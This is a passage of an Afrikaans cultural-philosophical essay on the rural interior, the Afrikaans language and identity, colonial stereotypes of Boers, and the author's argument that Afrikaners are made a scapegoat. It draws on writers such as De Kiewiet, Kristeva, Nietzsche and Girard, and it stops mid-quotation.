Die koloniale ervaring is ’n ontwortelde en ontwortelende, wat in die huidige konteks die estetiese armoede van koloniale kultuur verklaar. Die eindelose moralisme en stereotipering van wat veral in die buiteland bekend staan as “South African literature” val na my mening binne die kategorie van koloniale kultuur. Daarteenoor staan iets soos die onlangse werke van Karel Schoeman, veral die roman Hierdie Lewe 2, wat ’n hoë vlak van “Öffenheit für das Geheimnis” openbaar in die gevoelvolle beskrywings van die Karoo 3, die uitgestrektheid van die landskap en die ongenaakbaarheid van die karakters. Dit lyk asof hy iets vasvang van die tragedie van ’n Karoobestaan tydens die vorige eeu, en by uitbreiding, van die hele platteland. Historici het al dikwels aanmerkings gemaak oor die ekonomiese wankelrigheid van ’n plattelandse bestaan in Suid-Afrika, die gebrek aan standhoudende en voorspelbare reënval, wat tot die nomadisme van beide die Trekboere en swart stamme uit vorige eeue gelei het. Om dus die landskap te beskou is om in ’n sekere sin jou oë te laat gaan oor ’n Leidensgeschichte, die bitter geskiedenis van soveel pogings om te oorleef op meesal droë of brak grond.

Die geskiedenis van Engels in Suid-Afrika is, behalwe Natal, hoofsaaklik ’n stedelike verhaal, sonder woorde om die besonderhede van ons landskap met sy “koppies” en “rante” uit te druk, sy “klowe” en “skeure”, en geen plekname wat die wanhoop van “Putsonderwater” vervat, of die waterobsessies wat hul in soveel “-fonteine” en “-spruiteoor” die hele land herhaal. Die verhaal van die platteland is duidelik ’n Afrikaanse, en die paring van taal en landskap oor die eeue heen het ’n spesifiek plaaslike kultuur geproduseer, wat uiteindelik groot gewig behoort te hê binne die hutspot van ’n Suid-Afrikaanse kultuur. In die mate waartoe Afrikaners en Suid-Afrikaanse swartes tot die Engelse kultuur bydra, staan hulle in dieselfde verhouding tot Engeland as die Skotte, die Walliesers en die Iere: die grootsheid van Engelse of Britse kultuur, ten minste sover dit die letterkunde betref, is te wyte aan die pogings van kunstenaars en skrywers vanuit die geledere van die oorwonne volke wat poog om hul eie sin van waardeloosheid en minderwaardigheid te besweer deur die voortreflikheid van hul werke.

Die Engelse media, en veral die dommer-as-dom buitelandse media, stel die platteland voor as die ligging van wit fascisme, enersyds, en swart armoede, andersyds. Kultureel gesproke is dit ontdaan van enige belang. En tog, tensy ’n mens aan ’n laat vorm van sosiale realisme glo, kan alle fasette van menslike bestaan nie gepolitiseer word nie. As die monochroombril van sosio-politieke cliché afgehaal word, raak die platteland inderdaad kleurvol, welluidend met die stemme van ongekunstelde dog goedgeaarde mense.

Die fassinasie van die volk, le peuple, das Volk, the people, vir intellektuele is bespreek deur Jacques Rancière in sy boek Courts voyages au pays du peuple 4 — “Kort reise deur die land van die volk.” Volgens hom is die platteland baie nader aan ons as wat ons vermoed:

ces contreés toutes proches qui offrent au visiteur l’image d’un autre monde. De l’autre côté du détroit, un peu à l’écart du fleuve et de la grand-route, au bout de la ligne des transports urbains, vit un autre peuple, à moins que ce ne soit simplement le peuple. Le spectacle imprévu dúne autre humanité s’offre sous ses diverses figures: retour à l’origine, descente aux enfers, avènement de la terre promise. 5

[hierdie nabygeleë kontreie wat aan die besoeker ’n blik op ’n ander wêreld bied. Oorkant die détroit, ietwat verwyder van die rivier of die grootpad, aan die einde van die stedelike vervoerstelsel, leef ’n ander volk, ’n mens sou sover kon gaan om te sê: die volk. Die onverwagse skouspel van ’n ander mensdom bied hom in verskeie vorme aan: terugkeer na die oorsprong, hellevaart, koms van die beloofde land.]

Ten spyte van die kultuurapartheid van die nuwe Suid-Afrika wat die platteland wil amputeer ten behoewe van ’n stedelike Engelse en grotendeels ingevoerde Hollywoodkultuur, herken ons die volk as Afrikaans. Selfs die swartes hier praat Afrikaans. Eugène Marais se Waterberg, Breyten Breytenbach se Wellington of Bonnievale, dit alles is maar inkarnasies van hierdie l“and van die volk” binne Rancière se definisie. Dit is waar ons wortels heen strek, waaruit die digter sy inspirasie put of waar ons gewoon die modes en pretensie van die stad afskud en weglê aan ’n bredie en wyn wat in ’n blikbeker geskink kan word.

Die platteland en die volk wat dit bewoon, is egter veelduidig, soos ook uit die hierbo-aangehaalde gedeelte blyk: dit kan óf hellevaart óf beloofde land, of selfs iets anders wees. Trouens, die grond, die bodem is ideologies dubbelsinnig. Die grond is enersyds die lokus van identiteit en nasionalisme, selfs fascisme, maar terselfdertyd is dit die eindbestemming van rewolusionêre vooruitgang waar grondlose kleinboere of die proletariaat oplaas weer hervestig kan word sodat hulle die verlore Eden mag terugvind van waar hulle verjaag is deur die kapitalisme, kolonialisme en apartheid. In Duitsland is die Blut und Boden-slagspreuk uit die dertigerjare vervang deur die groen “terug-na-die-natuur”, twee oënskynlik teenoorgestelde bewegings.

In Suid-Afrika word die sin van die grond en by uitbreiding van die platteland verder gekompliseer deur die nomadiese tradisies van die verlede. Die afsku waarmee ’n sedentêre Engels-koloniale bewind die rustelose Trekboere bejeën het, is verwant aan die idee dat hulle besig was om weg te trek van die beskawing as sodanig, dat hulle as ’t ware op vlug geslaan het voor die beskawing self. Hierdie paradoks van Europese nomades word soos volg beskryf deur De Kiewiet in sy History of South Africa 6 waar hy met kenmerkende Engelse afkeur opmerk:

In the long quietude of the eighteenth century the Boer race was formed. In the vast, unmysterious, thirsty landscape of the interior lay the true centre of South African settlement. When the Trekboers entered it with their flocks and tented wagons, they left the current of European life and lost the economic habits of the nations from which they had sprung. Though they never became true nomads, the mark of nomadism was upon them, and their dominant traits were those of a restless and narrow existence. They had the nomad’s appetite for space and possessed the hardness and courage of men of the saddle who watch their flocks and hunt their meat. Their wealth was in their cattle and in their sons and grandsons, who were born numerously and who thrived amazingly. Their life gave them a tenacity of purpose, a power of silent endurance, and the keenest self-respect. But this isolation sank into obstinacy, their power of endurance into resistance to innovation, and their self-respect into suspicion of the foreigner and contempt for their inferiors. For want of formal education and sufficient pastors, they read their Bibles intensively, drawing from the Old Testament, which spoke the authentic language of their lives, a justification of themselves, of their beliefs and their habits. 7

Waarskynlik sou dié teks môre op CNN gelees kon word apropos van Afrikaners vandag, en niemand sou ’n wenkbrou daaroor lig nie. Hierdie beperkte siening van die Boer en die Afrikaner wat neffens die Europese beskawing leef of geleef het, geld nog steeds. Op ’n manier word die platteland of binneland nog altyd gesien as onaanloklik (“forbidding”). Die koloniale afsku vir die binneland en sy inwoners is magistraal beskryf deur Peter Blum in sy satiriese gedig “Rooinekke op Hermanus” wat in jukstaposisie met De Kiewiet se siening aangehaal kan word.

O gestilde
sinnebeeldvoëls, simboolvlerke, jul pryk
teen sononder, klaar met dool, enkel embleem
van hierdie seksie onwilde, ongewilde
vasgemeerde, aarde-agterhaalde ryks-
arende, pensioentrekkers op ou roem,
wat koel staan teenoor óns rumoer, kil-vreemd
— nie aanvoel wat óns bedoel, ín ons woel:
hartstog-verleerde, wrok-onbegrypende
sege-moeg, effens geaffronteerde
see-afkykers, agterland-afgekeerdes
wat hoegenaamd niks nie brandelik begeer. 8

Blum, ’n Duitser, skryf hier in sy aangenome taal, Afrikaans. Dit is miskien ironies dat hy moes doodgaan in ’n gestig in Engeland, tuiste van die rooinekke. In ’n sekere sin is hy ’n vreemdeling wat oor ander vreemdelinge skryf in ’n taal wat deur baie deesdae gesien word as synde ’n vreemde taal in die Engelse Suid-Afrika, iets wat jy net met onderskrifte kan verstaan. In die jargon van die nuwe Suid-Afrika sou Blum nie kwalifiseer vir die benaming “South African writer or poet” nie. Dit is ’n eienaardige verwikkeling aangesien die ryksarende van die gedig, wat hul pensioen trek op ou roem, skynbaar hulself op die oneerbiedige digter gewreek het. Hul gebrek aan hartstog, hul “kil-vreemdheid” het hulle kennelik goed te pas gekom; die digter het nou iets van ’n uitgestorwe spesie geword, nie die ryksarend nie. Maar tydens die gedig — vir ’n oomblik — vier ons die majesteit van daardie innerlike of binnelandse ruimte, daardie land wat Hermanus omring en waarvan die ryksarende as “agterland-afgekeerdes” hulself afgesluit het. Dit is ’n land, die land van die digkuns, waar elkeen en niemand ’n vreemdeling is nie.

De Kiewiet besef waarskynlik nie dat nomadisme en chauvinisme mekaar uitsluit nie, want die nomade bewerkstellig nie ’n verhouding met die grond wat stabiel genoeg is om as outochtoon gereken te word en dus ander as vreemdelinge te sien nie. Die Boere is “obstinaat” omdat hulle nie die Britse bewind wou aanvaar nie, en kultureel nie hulself wou verengels in ’n beskaafde Engelse Suid-Afrika nie. As historikus van die ryksarende bejeën hy hulle met al die chauvinistiese veragting waartoe die beskaafde man in staat is wanneer hy van aangesig tot aangesig met die barbaarse nomade verkeer. En ook: die proses van trek maak van die Boere vreemdelinge-in-wording wat die Westerse beskawing verlaat en sodoende verafrikaans in die mees radikale sin. Op ’n stadium gaan ’n mens die proses moet ondersoek waardeur die Engelse afkeer van Afrika en rassisme wat aanvanklik op barbare van alle rasse en kulture gefokus was, deur ’n Freudiaanse vorm van “oordrag” uitsluitlik tot Afrikanerhaat en veral onderdrukking van die Afrikaanse taal as ’t ware “gedistilleer” is. (Dit is ’n Freudiaans-Lacaniaanse projek-in-die-kleine wat heel prettig mag wees, aangesien “oordrag” ook een van die belangrikste onderliggende konsepte was by daardie resente Amerikaanse mode wat iets met “con” te make het soos in “decon …” en “déconner”, om nie van die “connards” te vergeet nie.)

Die beweging van mense op die grond, en selfs die wortelskiet van hul kultuur, hul taal en die naamgewing wat ontstaan uit hul interaksie en waarneming van die omgewing, die benoeming van bome en voëls en diere, dit alles vind binne menslike tyd plaas. Die landskap verander egter baie stadig, ongemerk binne geologiese tyd wat mensewesens beswaarlik kan voorstel. In ’n sekere sin is menslike kultuur dus vreemd aan die land, en selfs ons spesie is ’n immigrantespesie wat vandag hier mag wees en môre nie meer nie.

Na my mening is daar steeds ’n humanistiese en daarom antropomorfiese element aan Heidegger se begrip van kultuur as ’n vorm van organiese groei, waarna hierbo verwys is. Dit is waar dat kultuur moeilik kan bestaan sonder wortels: die déracinés binne Suid-Afrikaanse konteks woon slegs hier om die lekker inkopies, en hulle migreer maklik na waar die inkopies beter is (of miskien veiliger). Die plattelander, daarenteen, staar ’n bietjie soos Tityrus in Vergilius se eerste Herdersgedig 9 na die grootte van Rome wat oor Naboomspruit toring soos die statige sipres oor die beskeie vibernum, en besluit dat hy die eenvoudige, stoïsynse lewe verkies bo die inkopies te midde van die stadsrumoer. Dog soms het hy geen keuse nie, soos Meliboeus wat van sy grond afgesit is vanweë ’n gebrek aan politieke vriende in Rome. Uiteindelik speel die kans ’n rol daarin of ’n mens toegelaat sal word om aan te bly of gedwing sal word om te vertrek, of ’n mens jou wortels gaan behou of nie. Daar bestaan iets soos ’n taalkundige ekologie, en tale, soos spesies, is besig om uit te sterf. Anders as Darwin se idee van natuurlike seleksie, word die proses van uitsterwing grootliks gedryf deur toevallige gebeure, deur die kans. Die ekologie, taalkundig of andersins, is ’n stogastiese proses. Daar word gesê dat 99,9% van alles spesies wat ooit op aarde bestaan het, reeds uitgesterf het. Die taalkundige verskeidenheid van die platteland mag kwesbaar wees vir die funeste gevolge van ’n toevallige gebeurtenis, wat die vorm van ’n droogte mag aanneem, of die goudprys op $200, of ’n besluit in Rome.

Is ons almal vreemdelinge? Dit is waarskynlik die siening van Julia Kristeva waar sy sê:

Étrangement, l’étranger nous habite : il est la face cachée de notre identité, l’espace qui ruine notre demeure, le temps où s’abîme l’entente et la sympathie. De le reconnaître en nous, nous nous épargnons de le détester en lui-même. Symptôme qui rend précisément le <> problématique, peut-être impossible, l’étranger commence lorsque surgit la conscience de ma différence et s’achève lorsque nous nous reconnaissons tous étrangers, rebelles aux liens et aux communautés. 10

[Vreemd genoeg woon die vreemdeling binne-in ons: hy is die keersy van ons identiteit, die ruimte wat ons tuiste ruïneer, die tyd waarin wedersydse begrip en meegevoel afbreek. Deur dit binne-in ons te herken, vermy ons dit om dieselfde ding in hom te verag. ’n Simptoom wat juis die “ons” problematies maak, miskien selfs onmoontlik, die vreemdeling begin sodra die bewustheid van my andersheid na vore tree en word voltooi sodra ons onsself herken as synde almal vreemdelinge, rebelle teenoor bande en teenoor gemeenskappe.]

In terme hiervan word ’n mens ’n vreemdeling — “volksvreemd”! — sodra jy teen die gemeenskap rebelleer, of selfs bewus raak van jou eie individualisme. Die platteland is geen vreemdeling as dit by rebellie kom nie, gedagtig aan 1914 of Van Melle se Bart Nel 11, maar is miskien minder verdraagsaam teenoor anderse individue as die stad. Aan die ander kant, deur sy andersheid te behou teenoor die imperiale hinterland van nywerheid en handel, sy ekologie te handhaaf, brei die platteland miskien sy dade van rebellie uit. Kollektief is die platteland tot vreemdeling verklaar, wat miskien lig daarop werp waarom vreemdelinge nie so goed behandel word in sy midde nie.

’n Verwante probleem aan dié van vreemdeling-wees (of dié van setlaar en boorling) is dié van suiwerheid. Op verskillende tye sal verskeie “groepe” — ek gebruik doelbewus ’n gelade term uit die onlangse verlede — aanspraak daarop maak om waaragtig inheems te wees. Hulle was eerste daar, dis die land van húl voorvaders, hulle is die meerderheid, of die uitverkore minderheid, wat die geval ook al mag wees. Hierdie aanspraak is van dieselfde tipe as die aanspraak op rassesuiwerheid, want dit veronderstel ’n goddelike of regskape oorsprong. Dus het ons gevorder vanaf ’n ideologie van rassesuiwerheid tot nedersettingsuiwerheid. Die amptelike siening van die Afrikaanse taal het geëvolueer vanaf die siening onder die Britse bewind in die Kaap tydens die negentiende eeu dat dit die resultaat was van ras- en taalvermenging, wat toentertyd afkeurenswaardig was, na die huidige voorstelling van beide die ANC en die Engelstalige media van ’n wit Afrikanertaal wat gestigmatiseer is deur apartheid en gepaardgaande neigings tot rassesuiwerheid en eksklusiwiteit. Duidelik is geeneen van hierdie sienings korrek as dit gemeet word aan taalkundige of demografiese kriteria nie. Wat ons hier sien, is ’n soort omgekeerde diachroniese dialektiek waar die boosheid van gister figureer as die goeie van vandag, en andersom.

Ook die fassinasie met die ontstaan van Afrikaans as taal wat uiting gevind het in vele taalkundige teorieë sedert die negentiende eeu moet in hierdie lig gesien word. Tot vandag toe word die opvatting van Valkhoff gehuldig dat Afrikaans ’n soort Kreoolse taal is wat sy oorsprong had in die pidginisering van Nederlands deur die Koen-bevolking of Hottentotte. In die negentiende eeu is hierdie gemengde herkoms van Afrikaans gesien as bron van onsuiwerheid, as “kitchen Dutch”, ’n term wat die taalkundige verbastering moes benoem wat die taal nie waardig gemaak het om soos die Europese tale oor ’n Bybelvertaling te beskik nie. Watter ironie is dit nie dus dat Afrikaans vandag juis as rassuiwere witmanstaal voorgehou word nie, die dialek van die AWB en dergelike. Binne die kleinlike rastaalpolitiek van Suid-Afrika het Afrikaans daarom binne die bestek van ’n eeu gevorder van nie-blanke taal tot blanke taal, ongelukkig in omgekeerde orde van politieke korrektheid.

Binne ’n gesonde-verstandparadigma het kultuur, ekologie, musiek, kuns, letterkunde, al daardie elemente wat as buitensporig, of en trop soos die Franse sê, beskou kan word, geen plek nie. Daar is ’n besonder Engelse vorm van gesonde verstand (common sense) wat onhebbelik kan wees. Dit is van die soort wat alles in terme van sy nut sien, en nie in terme van sy waarde (wat in elk geval ’n funksie van die mark is) nie. Gesonde verstand beskou die platteland as ’n blote produksiefasiliteit vir die graanmark, en taal as ’n kode vir die uitruil van inligting tussen verbruikers. Alles kan uiteindelik gereduseer word tot sy nutswaarde, en as dit nie daaroor beskik nie, kan dit vernietig word of weggegooi word. So is dit ook met identiteit, die kleur van ’n individu nie in die rassesin nie, maar in die etniese sin, selfs die stamsin. Waarom mag ons nie ’n stam hê nie, al is dit ’n wit stam? Waarom mag ons nie na Schoenberg luister nie, selfs al bestaan daar geen mark vir sy musiek nie? Waarom mag ons nie begeer nie, al is ons begeertes nie rasioneel nie?

Die kritiek op gesonde verstand — teenoor die Kantiaanse sensus communis wat iets anders is — op naïewe realisme en op naïewe empirisme is weer eens grotendeels op die Europese Vasteland gevoer, en nie op die Britse Eilande nie. Kennelik kan dit gesien word as ’n oorvereenvoudiging van twee uiteenlopende filosofiese tradisies, maar binne die kulturele debat in ons land, veral die tweehonderdjaaroue botsing tussen Engels en Afrikaans, is hierdie digotomie tussen ’n kwasi-Angel-Saksiese en ’n kwasi-Vastelandse siening van kultuur herhaal. (Ek laat hier die sogenaamde Afrikanistiese kultuursiening buite rekening omdat dit meer onlangs na vore gekom het en na my mening nie besonder afwyk van sekere fundamenteel Westerse konsepte nie.) ’n Estetiese betrokkenheid met die taal of die landskap mag vanuit die gesonde verstand-siening met sy klem op operasionele kwessies en transnasionale kommunikasie, opvoedkundige opheffing, ens, gewoon “nasionalisties” of selfs fascisties voorkom. Dog die teenoorgestelde is waar wanneer so ’n betrokkenheid vanuit die veelheid van Vastelandse tradisies soos rasionalisme, dialektisisme, of die verskeie vorme van geradikaliseerde vorme van taalkundige strukturalisme en Nietzscheanisme wat ons in die ná-oorlogse Europa vind, beskou word. Deleuze, om maar een voorbeeld te noem, het inderdaad minderheidstaal teenoor dié van die meerderheid gepriviligeer. Hy siteer onder andere die reël van Proust, “Les beaux livres sont écrits dans une sorte de langue étrangère” — “mooi boeke word in ’n soort vreemde taal geskryf” 12. In dieselfde trant praat hy van “etnos, die minderheidagtige, die vluglyn binne die struktuur, die anti-historiese element binne die Geskiedenis”. 13 Afrikaans en alles wat daarmee saamhang, dit het ons ook met die Waarheidskommissie gesien, is toenemend die ongewenste, steurende etniese element wat die samehang van die imperiale Engel se geskiedenis beduiwel. In die sogenaamde nuwe Suid-Afrika word ons gesien as behorende tot ’n voor-geskiedenis, of liefs ’n geskiedenis wat vergeet behoort te word ter wille van die heersersverhaal van swart lyding en bevryding in Engels.

Britse gesonde verstand vrywaar ’n mens boonop nie van rassisme en fascisme, veral daardie besondere variëteit waarna ek vroeër verwys het deur gebruik van die ietwat oudmodiese term, “jingoïsme”, nie. By ’n onlangse konferensie aan die Oxford Universiteit met as titel “South Africa 1895-1921: test of Empire” is die vormingsjare van die huidige semi-nywerheidsland wat ons as Suid-Afrika ken, onder die loep geneem. Die mees onlangse navorsing oor die denke van Lord Milner wat die opvoedkundige beleid met die vorige eeuwending bepaal het en ’n versnelde vorm van verengelsing en taalverdrukking ingestel het in die naam van vooruitgang en ontwikkeling — daardie twee gesonde verstand-ideale — toon duidelik ’n byna boosaardige vorm van Angel-Saksiese heerssugtigheid waarbinne die idee van ’n “heersersras” nie afwesig is nie. Die intellektuele verwarring van ons huidige regering, verskeur tussen Afrikanistiese ideale en die sogenaamde ekonomiese werklikhede wat deur oligopolistiese, koloniale belange aan hom opgedring word, mag wel ’n mutante Milnerisme toelaat in die naam van Afrikabevryding, wat selfs, indien dit te ver gevoer word, kan eindig in een of ander chiliastiese, geradikaliseerde optrede, hetsy deur ’n Kulturele Rewolusie, hetsy umahaa of statsosialisme, of die herinstelling van konsentrasiekampe.

Ek is bewus daarvan dat ek hier sinspeel op sekere van die magtige simbole van wat bekend staan as “denke van regs” binne ons konteks. Dit gaan hier egter nie om opsweping nie, maar om besinning oor die situasie waarin Afrikaans hom tans bevind. Ek durf die moontlikheid van ’n ekstreme terugkeer na Anglosentriese “social engineering” en repressie noem, juis omdat die aktivistiese, moralistiese lesing van die geskiedenis wat onlangs in Suid-Afrika gewild geword het, so kommerwekkend is. Dit is ’n “geskiedenis van die armes” wat soek na ’n enkele oorsaak vir armoede en lyding. Merendeels word dit alles geassosieer met die konsep “apartheid” waarop ek nie nou wil ingaan nie. 14 In soverre as wat die Afrikaner en Afrikaans as ’t ware daarvoor verantwoordelik gehou word dat swart Suid-Afrikaners en by uitbreiding Afrikane suid van die ewenaar nie oor dieselfde vlak van opvoeding en ’n gelykstaande lewenstandaard as die burgers van Switserland beskik nie, het ons te make met die problematiek van die sondebok waarby kwessies soos taal en identiteit wel regstreeks betrokke is. Joodse spekulante is ook verantwoordelik gehou vir die Duitse hiperinflasie tydens die Weimar-republiek, en ons weet waarop dit uitgeloop het.

Voordat ek uitwei oor die opvatting van die sondebok, is dit nodig om te probeer verstaan wat ’n stereotipe of ’n karikatuur soos daar van die Afrikaner en sy politieke betrokkenheid in Suid-Afrika gemaak is, behels. Daar is geen “identiteit” wat so sterk is soos dié van die “dumb Dutchman” nie, daardie frase wat vanaf die Engelse skoolgronde in Suid-Afrika sy weg gevind het tot die voorblad van Time of die gesanik van Europese TV-nuusaanbieders. Veral tydens my verblyf in Frankryk het ek onder die indruk gekom dat ’n mens enigiets oor Suid-Afrika, Afrikaners, Afrikaans, ens, kan kwytraak sonder dat dit in die minste aan een of ander perk of kriterium onderworpe is. Ons is fasciste, mensvreters, moordenaars, barbare, ontaarde wit mense, en wat nog. Ek kan onthou dat die wildbewaarders wat olifante uitdun in die Kruger-wildtuin op televisie voorgehou is as irrasionele wreedaards wat doodmaak omdat dit in hul eie aard is as vermoedelik wit Afrikaners. Vir diegene wat nog gewonder het oor hul identiteit in Afrikaans, is daar reeds ’n klaargemaakte een, ’n “globale identiteit”, wat waarskynlik deur miljarde mense op hierdie planeet as buite bespreking geag word.

Nieteenstaande die besondere verhouding wat daar tussen Afrikaans en die landskap bestaan, en die geworteldheid waarvan daar hierbo melding gemaak is, is dit tans nodig om oor te gaan tot ’n radikale vorm van vergeetagtigheid. By my definisie van Afrikanerskap onlangs, as synde “iemand wat van melktert of koeksisters hou”, wil ek voeg: “iemand wat sterk genoeg is om sy identiteit te vergeet.” Veral ook sy “globale identiteit”.

Sommiges sal hierin ’n Nietzscheaanse definisie van Afrikanerskap sien, en met reg. Nietzsche voel hom as ’t ware ’n vreemdeling tussen die Duitsers, hoewel niemand waarskynlik beter die Duitse taal kon gebruik as juis hy nie. As veeltalige Europeër sien hy neer op die Duitsers en, verwysende na hul kleinlike nasionalisme, chauvinisme, anti-Semitisme, verwys hy na “diese kleinen Benebelungen des Deutschen Geistes und Gewissens” 15 [“die klein bedwelminge van die Duitse gees en die Duitse gewete”]. In sy skerp onafhanklike kyk na sy vaderland — ’n “viviseksie” noem hy dit — is daar vir ons ’n les. Het dit nie tyd geword dat ook ons die skimme van die verlede van ons afwerp en opnuut die vraag vra: wat is Afrikaans, wat beteken dit nie?

Nietzsche neem verder die Duitsers kwalik dat hulle oor “geen hede” beskik nie. Hoeveel te meer is dit nie op ons van toepassing nie! As daar een aspek is van die huidige Suid-Afrika wat uitstaan, is dit die gehamer op die — sy dit dan onlangse — verlede. Elkeen kan homself moreel regverdig en sy vyand as demoon verdoem deur sy visier in te stel op die regte jaartal, of dit nou 1899 of 1976 is. Die selektiewe onthou van die verlede is in ons maatskappy tot ’n kuns verhef, by gebrek aan kuns in die ware sin van die woord. Dit is nodig om ons teen dié dialektiek te verset, deur eenvoudig te vergeet, deur onskuld teen skuld te stel, beaming teen ontkenning, die amorele teen die morele, nie-identiteit teenoor identiteit.

Die intensiteit van die gevoel teen Afrikaans en Afrikaners is nie bloot te verklaar met verwysing na die buitelandse korrespondent wat sy propaganda die wêreld instuur waar dit klakkeloos deur die hordes as evangelie opgeneem word nie. Meer en meer kom dit voor asof anti-Afrikaansheid, of dan “Boerehaat” soos dit tradisioneel bekend staan, nie net vormlik nie maar ook konseptueel verwant is aan anti-Semitisme. Toevallig is Suid-Afrika en Israel tot onlangs in die internasionale media oor dieselfde kam geskeer, maar dit gaan veel dieper, want beide Jode en Afrikaners het ’n kollektiewe aartsonde gepleeg jeens die Weste. In die geval van Jode is dit sekerlik die moord op Christus, asook hul andersheid, hul eksklusiwiteit. Wat Afrikaners en hul voorgangers, die Boere, betref, is dit eerder hul vergeetagtigheid, die feit dat hulle vergeet het hoe om korrek en algemeen beskaaf Nederlands te praat, en in ’n sekere sin hul rug gekeer het op die Westerse beskawing soos wat De Kiewiet beweer. Vergun my weer eens ’n aanhaling uit my gunstelingboek oor die Boere, De Kiewiet se History of South Africa,

Men so widely scattered as they were lost the gregarious habit of their forefathers in Europe. They built few villages. On the great farms each man fled the tyranny of his neighbour’s smoke. It followed that their communal life was loosely organized. They came together when compelled by danger or crisis. In the face of the native population their sense of race and fellowship was exceedingly keen. But their co-operation was not continuous and sustained. The habits of their social life were like the discipline of their commados. It was the sum of individual willingness; at its best it was excellent, at its worst it destroyed the commando. 16

In ’n sekere sin was die Boer dus ’n “soewereine individu” wat staatloos gelewe het, en bloot die gemeenskap opgesoek het as daar sprake was van gevaar. Die beeld van nomades wat al verder verwyder raak van hul oorsprong in die volke van Europa is by uitstek die bydrae van De Kiewiet tot die SA geskiedskrywing, soos ons reeds gesien het. Op ’n baie meer banale vlak kry dit tot vandag toe en veral in die internasionale media uitdrukking in die opvatting dat Afrikaners ’n verworde wit “stam” is en, let wel, geen “volk” nie. Die vergeet van ’n Europese nasionale identiteit is een van die ernstigste aanklagte teen Afrikaners. Dit maak hul minder beskaafd, nader aan barbare, minder moreel.

Aan die ander kant staan die Afrikaner nogtans nader aan die Weste as die Afrikaan wat afkomstig is uit ’n soort Utopie wat nog nie bederf is deur die beskawing nie. In die negentiende eeu het hierdie idee berus in die Rousseauistiese opvatting van die “edele barbaar”; tans vind ons dit terug in die algemeen gangbare geloof dat die lewenstandaard en kwaliteit van lewe van Afrikane veel beter was voor die koms van Europeërs na Suid-Afrika. Trouens, die Groot Trek het die utopiese ruimte van die binneland soos dit gesien is vanuit die Britse sendelingparadigma, besoedel. Die Afrikaner bevind hom dus in ’n tussengebied tussen Europa en Afrika, en hy beskik nóg oor beskawing nóg oor die morele ongeskondenheid van die Afrikaan.

Die hele kwasi-Calvinistiese debat wat daar deesdae romdom “skuld” gevoer word, gaan ons nie eintlik aan nie. Die strik waarin sekere Afrikaanse skrywers trap om skuld of aandadigheid aan die sondige verlede te bely, hoe hulle ouers die woord “kaffer” in die huis gebruik het, die outas agter die kraalmuur met sambokke aangerand het, ens, bewys net weer hoe sterk die globale Afrikaneridentiteit is, dat dit ’n mens oproep tot belydenis, veral as ’n New Yorkse uitgewer sy tjekboek uithaal en sê: “Tell me how dumb ya are, Dutchman.” Glucksmann het reeds gewys op hierdie neiging by die Weste om geen morele skuld aan Afrikane toe te ken nie, en slegs aan die stiefkinders van die Weste, die Afrikaners, alhoewel sy gevolgtrekking dat die Westerling homself in die blanke Suid-Afrikaner weerspieël sien, nie vir my opgaan nie. 17 In die mensdom se obsessie met ras, wat sedert Cuvier en Darwin dateer, is daar voortdurend nuwe vorme van etniese denke en sondeboksoekery wat na vore kom. Teenoor die “eenvoudige” Europese rassisme van die verlede, vind ons nou die oordrag na kwesbare sosiale groepe van die rassekompleks via kulturele of ekonomiese diskriminasie. Niemand het nog ras as konsep afgesweer nie, allermins ons huidige heersers, maar die skuld of die merk van Kaïn het van een groep na ’n ander verskuif.

Die idee van die sondebok is breedvoerig bespreek deur René Girard. 18 Die soort optrede wat uitloop op die soek na ’n sondebok is per definisie dié van ’n heksejag. In sy meer anti-Afrikaanse momente bantwoord die Waarheids- en Versoeningskommissie geheel en al aan hierdie definisie. Tydens die Pes in Europa gedurende die Middeleeue is groot groepe Jode vermoor as sou hulle verantwoordelik gewees het vir die ellende. Die demagogiese begrip “apartheid” is ’n soort opvangbak vir alle maatskaplike euwels wat in Suid-Afrika en selfs in Suider-Afrika werksaam is, vanaf armoede, gebrek aan opvoeding, werkloosheid, tuberkulose, tot Vigs, stamgeweld, misdaad, noem maar op. Dit is nie soveel verskillend van die pes nie, en die werklike oorsake van hierdie toestande is aan ons ewe duister as wat mikrobiologiese verskynsels aan die stadsbewoners van die Middeleeue was. Interessant is dat daar gewoonlik ’n “teken” of eienskap kleef aan die sondebok wat hom uitsonder van die meerderheid aan wie hy kwaad doen of gedoen het. 19 Belangrik is dat die slagoffer van vervolging deur die meerderheid nie gekies word na aanleiding van die misdaad — werklik of verbeeld — wat hy gepleeg het nie, maar op grond van sy slagofferteken wat op stereotipes berus. Stereotipering hou daarom altyd die gevaar van vervolging in. Slagoffertekens is dikwels ook “verskille”, ’n “andersheid” wat ook kultureel of godsdienstig kan wees. ’n Voorbeeld van ’n slagoffer wat deur Girard genoem word is Oedipus in die stuk deur Sophocles.

Plus un individu possède de signes victimaires, plus il a de chances de’attirer la foudre sur sa tête. L’infirmité d’Oedipe, son passé d’enfant exposé, sa situation d’étranger, de parvenu, de roi, font de lui un véritable conglomérat de signes victimaires. 20

[Hoe meer slagoffertekens ’n individu het, hoe groter is die kans dat hy die ongeluk oor hom kan bring. Die gebrek van Oedipus, sy verlede as weggooikind, sy status as buitelander, as parvenu, as koning, maak van hom ’n ware konglomeraat van slagoffertekens.]

In baie opsigte is Afrikaans ’n unieke taal op die vasteland van Afrika, wat die sprekers daarvan ook uniek maak, ’n eienaardige minderheid in ’n wêreld wat oorheers word deur groot imperiale tale: Mandaryns in die Ooste, Engels in die Weste. Dit is ’n ongemaklike posisie om ’n lid van ’n eienaardige minderheid te wees in ’n omgewing of op ’n vasteland wat gedurig gebuk gaan onder maatskaplike en natuurrampe, oorloë, opstande, terreur, misdaad en die verspreiding van aansteeklike siektes soos Vigs en malaria. Soos die Jode, is alle Afrikaners of Afrikaanssprekendes uiters kwesbaar as synde ’n “konglomeraat van slagoffertekens”, en moet hulle byvoorbaat die konsentrasiekamp anderkant die bult sien sodra aantygings van kollektiewe skuld gemaak word of etniese stereotiperingsveldtogte via die massamedia gevoer word.

Ek wil vir ’n oomblik stilstaan by die idee van ’n tussengebied, ’n niemandsland, die uitgestrektheid van die landskap, ’n soort Karoo van die identiteit. Daar is ’n woord in Frans vir “gebied” of “omstreke” wat reeds ontgin is om die aarselende betekenis weer te gee waarna ek soek, die woord “parages”.

Parages: à ce seul mot confions ce qui situe, tout près ou de loin, le double mouvement d’approche et d’éloignement, souvent le même pas, singulièrement divisé, plus vieux et plus jeune que lui-même, autre toujours, au bord de l’événement, quand il arrive et n’arrive pas, infiniment distant à l’approche de l’autre rive. 21

